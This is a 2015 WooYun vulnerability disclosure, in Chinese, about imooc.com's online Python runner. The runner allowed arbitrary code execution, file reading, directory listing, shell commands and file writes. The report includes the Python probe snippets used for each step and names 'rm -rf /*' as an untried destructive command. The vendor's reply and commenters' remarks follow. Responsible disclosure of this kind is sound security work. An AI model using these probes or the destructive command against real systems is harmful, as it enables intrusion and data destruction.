当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117084

漏洞标题:慕课网主站代码任意读取命令任意执行遍历目录

相关厂商:imooc.com

漏洞作者:

提交时间:2015-05-30 10:24

修复时间:2015-07-16 09:42

公开时间:2015-07-16 09:42

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-30: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经确认,细节仅向厂商公开
2015-06-11: 细节向核心白帽子及相关领域专家公开
2015-06-21: 细节向普通白帽子公开
2015-07-01: 细节向实习白帽子公开
2015-07-16: 细节向公众公开

简要描述:

看我标题

详细说明:

学习python中,突然想到一个问题
权限是否控制严格
然后发生了接下来的事情
首先猜测是否能代码任意执行,废话当然能啊,首先测试一个打印时间的代码

from time import strftime,localtime
print '%s' %strftime('%Y-%m-%d %H:%M:%S',localtime())


打印成功

时间.jpg


随后想到那是不是能进行任意文件读取

file = open('./index.php','r')
for (num,value) in enumerate(file):
print value
file.close()


读取成功

任意文件读取.jpg


进行下一步测试,那我这个文件夹里面有什么文件呢?
测试文件夹遍历

import os
cmd = "dir ./"
for i in os.popen(cmd).readlines():
print i,


很明显成功了,不成功的我都要忽略掉

遍历当前文件夹.jpg


那我再测试下,能否遍历其它文件夹,以及跟文件夹

上级文件夹.jpg


跟文件夹


既然都已经,遍历文件夹了,那再测测任意文件读取

指哪读哪.jpg


读来读去的没意思,那测测能不能命令执行(linux)

import subprocess
p = subprocess.Popen('uname -a', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
for line in p.stdout.readlines():
print line,
retval = p.wait()


虽然我不知道上面的代码是什么意思,但是我看的到结果

uname执行成功.jpg


最后测下 文件写入

文件写入.jpg


写入成功.jpg


漏洞证明:

某个地方的配置文件

2配置文件.jpg


读取etc文件夹

读取etc.jpg


其中文件在某些文件夹写入不成功,权限不够,这个也算是亮点了

权限.jpg


不知道删除命令用不用的了好像是

rm -rf /*


不知道对不对
原本准备测试下网站目录下能不能写,但是为了避免一些不必要的麻烦....

修复方案:

总体来说,就是代码环境没有和课件环境分离开
现在的东西感觉什么都能干一样,太危险了
希望能借鉴目前市场上所存在的虚拟化的技术,将代码环境虚拟化,禁止掉危险的函数
其实可以看其它人的代码也有一个漏洞,后期有机会再提交
url=http://www.imooc.com/code/3255
写在后面:
希望在修复过程中不要停掉课件

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-01 09:40

厂商回复:

在线编程安全性问题,之前已经暴露过,确实是想通过虚拟化解决的。具体推进上因为其它业务影响,慢了一些。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-30 14:13 | orange ( 普通白帽子 | Rank:185 漏洞数:38 | 戒骄戒躁。)

    我也发现了!!!!

  2. 2015-05-30 21:56 | Q1NG ( 实习白帽子 | Rank:93 漏洞数:16 | 临 兵 斗 者 皆 阵 列 前 行 !)

    然而我也发现了!!!但并没什么卵用

  3. 2015-07-16 10:43 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

    我之前直接报告给他们的客服人员了,结果没有啥回应。我当时测试的时候,有一些命令是被限制了的,而且python代码执行的服务器并不是主站,而是另外一台服务器,所以你无法通过直接写入shell的方式,直接搞定主站,搞定分站是可以的。

  4. 2015-07-17 11:19 | ( 路人 | Rank:10 漏洞数:1 | 他很懒)

    @hack2012 正解,为了号。。